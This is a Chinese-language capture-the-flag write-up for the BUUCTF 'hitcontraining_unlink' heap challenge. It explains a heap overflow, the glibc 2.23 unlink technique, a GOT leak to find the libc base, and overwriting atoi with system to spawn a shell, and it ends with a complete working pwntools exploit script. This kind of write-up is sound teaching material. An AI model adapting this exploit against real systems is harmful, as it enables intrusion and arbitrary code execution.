buuctf pwn hitcontraining_unlink unlink堆溢出利用
buuctf pwn hitcontraining_unlink
首先file文件,是64bit ELF
nc查看逻辑,是一个增删改查的小程序
然后ida反编译查看main函数,各功能一目了然。注意到每次输入choice后,都要通过atoi()函数来将其转为整型,这是漏洞利用的关键之一
show_item函数负责遍历0~99编号的item,存在则打印其名称。这个&unk_6020c8位于bss节,是items的基址
add_item函数中,先输入一个长度v2,然后遍历bss中的空间(基址为0x6020c8),如果有空,则申请一块v2大小的chunk(这里所说的chunk大小不包括chunk头),将其地址写入bss。再输入一个字符串,将前v2个字节作为item名称写到chunk中。line 30的read函数返回实际读取的字节数,加上该字符串基址就是字符串的末尾,结尾置0表示字符串结束。
change_item函数负责给编号为v1的item改名,方法和add_item中完全一致。这也是堆溢出所在,因为我们输入的length如果超过该chunk的大小,就可以溢出到其他chunk中
remove_item函数将输入的编号v1对应item的堆空间free掉
攻击思路是
- 构造fake_chunk,通过unlink漏洞将fake_chunk的指针指向bss-3*sizeof(size_t)
- 然后从got表中读出atoi()的内存地址写到bss[0]处,然后将system()的地址写到got表中原来atoi()地址的位置
- 这样一来程序一旦调用atoi(),就会根据got表调用system(),传入字符串"/bin/sh"即可。
下面参照代码进行具体解释
首先是写函数来模拟增删改查四种api,之后只能用这四个函数与程序进行交互
def show_item():
sh.sendlineafter(b"Your choice:", b"1")
def add_item(length, name):
sh.sendlineafter(b"Your choice:", b"2")
sh.sendlineafter(b"Please enter the length of item name:", str(length).encode())
sh.sendlineafter(b"Please enter the name of item:", name.encode())
def change_item(index, length, name):
sh.sendlineafter(b"Your choice:", b"3")
sh.sendlineafter(b"Please enter the index of item:", str(index).encode())
sh.sendlineafter(b"Please enter the length of item name:", str(length).encode())
sh.sendlineafter(b"Please enter the new name of the item:", name)
def remove_item(index):
sh.sendlineafter(b"Your choice:", b"4")
sh.sendlineafter(b"Please enter the index of item:", str(index).encode())
申请三个chunk:fake_chunk, chunk_f以及为避免合并到top chunk而申请的other_chunk。这里要明确一件事:任何对堆的访问都要先到bss中去找chunk的地址,然后才能向chunk写入数据。此时fake_chunk的基址存储在bss[0]中,所以change_item()时会写入到fake_chunk中
add_item(0x80, "fake_chunk") # 申请一块0x80B的内存构造fake_chunk
add_item(0x80, "f") # chunk_f
add_item(0x10, "other")
下面构造fake_chunk,调用change_item()将payload写入fake_chunk中,利用堆溢出来修改f的chunk头,然后free(f)。free时的unlink(fake_chunk)操作会使得fake_chunk的指针指向bss-3*size_t,而fake_chunk的指针存在哪呢?正是bss[0],所以unlink操作导致了bss[0]里面存储的内容从fake_chunk的基址变为bss-3*size_t,这样一来之后change_item()就会将数据写入到bss[-3]处了。
bss = 0x6020c8 # bss节基址,change_item根据bss[0]来找修改的目标内存
# 构造fake_chunk[prev_size, size, fd, bk, data]
payload = p64(0) + p64(0x81) + p64(bss - 3 * 8) + p64(bss - 2 * 8) + b'a' * (0x80 - 0x20)
# 覆盖f的prev_size和size
payload += p64(0x80) + p64(0x90)
change_item(index=0, length=len(payload), name=payload) # 利用change的堆溢出漏洞将payload写入堆中
remove_item(index=1) # free(f)
下面就是漏洞利用的关键了。首先我们要知道atoi()、system()函数都在libc中定义,而它们的地址则存放于got表中,程序需要查got表找到函数地址才能去调用它,这就存在一个问题,如果我们将got表中atoi()的地址改成system()的,程序在调用atoi时就会调用system,我们需要的正是这个结果。
首先从GOT表中读取atoi()在got表中的地址atoi@got,前面加3个填充构造payload,使得在payload写入到bss[-3]处时将atoi()的got地址写入到bss[0]处,之后change_item时数据就会写入到got表中atoi的位置了。
然后通过show_item()泄露atoi@got,从而计算出atoi()在内存中的地址atoi_addr,从而计算出libc的基址=atoi在内存中的地址-atoi相对libc的偏移,加上system()在libc中的偏移就可以计算出内存中system()的地址了
# 读取atoi()在got表中的地址atoi@got,写入到bss[0]处
atoi_got = elf.got['atoi']
payload = p64(0) * 3 + p64(atoi_got)
change_item(0, len(payload), payload)
# show泄露atoi()地址,打印出来
show_item()
sh.recvuntil(b"0 : ")
atoi_addr = u64(sh.recv(6).ljust(8, b"\x00")) # 接收6个字节。填充成8字节,转为64位整数
success("atoi_addr:%x" % atoi_addr)
libc_base = atoi_addr - libc.sym["atoi"] # 计算出libc的基址=atoi在内存中的地址-atoi相对libc的地址
success("libc_base:%x" % libc_base)
由于此时bss[0]=atoi在got中的地址,所以程序会认为此处是chunk,写入system()的内存地址。从而将GOT表中原来atoi地址的位置覆盖成system函数的内存地址,程序遇到atoi()时就会调用system()了,只需在原来输入choice时输入"/bin/sh"即可传参,大功告成!
change_item(0, 8, p64(libc_base + libc.sym["system"]))
# 发送"/bin/sh",程序会将其传给之前atoi位置的system函数,执行shell
sh.sendlineafter(b"Your choice:", b"/bin/sh")
sh.interactive()
完整代码如下,记得运行时将elf文件和libc-2.23.so文件放到目录下,2.27以上的glibc会阻碍unlink利用
from pwn import *
sh = remote("node4.buuoj.cn", 28735)
# sh = process('./bamboobox') # linux本地运行
# context.log_level = 'debug' # 开启debug模式
elf = ELF('./bamboobox') # 把elf文件放到代码目录下
libc = ELF('./libc-2.23.so') # 把libc的so文件放到目录下
# 首先是写函数来模拟增删改查四种api,之后只能用这四个函数与程序进行交互
def show_item():
sh.sendlineafter(b"Your choice:", b"1")
def add_item(length, name):
sh.sendlineafter(b"Your choice:", b"2")
sh.sendlineafter(b"Please enter the length of item name:", str(length).encode())
sh.sendlineafter(b"Please enter the name of item:", name.encode())
def change_item(index, length, name):
sh.sendlineafter(b"Your choice:", b"3")
sh.sendlineafter(b"Please enter the index of item:", str(index).encode())
sh.sendlineafter(b"Please enter the length of item name:", str(length).encode())
sh.sendlineafter(b"Please enter the new name of the item:", name)
def remove_item(index):
sh.sendlineafter(b"Your choice:", b"4")
sh.sendlineafter(b"Please enter the index of item:", str(index).encode())
if __name__ == "__main__":
bss = 0x6020c8 # bss节基址,change_item根据bss[0]来找修改的目标内存
add_item(0x80, "fake_chunk") # 申请一块0x80B的内存构造fake_chunk
add_item(0x80, "f") # chunk_f
add_item(0x10, "other")
# 构造fake_chunk[prev_size, size, fd, bk, data]
payload = p64(0) + p64(0x81) + p64(bss - 3 * 8) + p64(bss - 2 * 8) + b'a' * (0x80 - 0x20)
# 覆盖f的prev_size和size
payload += p64(0x80) + p64(0x90)
change_item(index=0, length=len(payload), name=payload) # 利用change的堆溢出漏洞将payload写入堆中
remove_item(index=1) # free(f),之后bss[0]=bss-3*8。这样一来只要向chunk0写数据就等于向bss-3*8处写数据
# 读取atoi()在got表中的地址atoi@got,写入到bss[0]处
atoi_got = elf.got['atoi']
payload = p64(0) * 3 + p64(atoi_got)
change_item(0, len(payload), payload)
# show泄露atoi()地址,打印出来
show_item()
sh.recvuntil(b"0 : ")
atoi_addr = u64(sh.recv(6).ljust(8, b"\x00")) # 接收6个字节。填充成8字节,转为64位整数
success("atoi_addr:%x" % atoi_addr)
libc_base = atoi_addr - libc.sym["atoi"] # 计算出libc的基址=atoi在内存中的地址-atoi相对libc的地址
success("libc_base:%x" % libc_base)
# 由于此时bss[0]=atoi在got中的地址,所以程序会认为此处是chunk,写入system的地址。从而将GOT表中原来atoi地址的位置覆盖成system函数的内存地址
change_item(0, 8, p64(libc_base + libc.sym["system"]))
# 发送"/bin/sh",程序会将其传给之前atoi位置的system函数,执行shell
sh.sendlineafter(b"Your choice:", b"/bin/sh")
sh.interactive()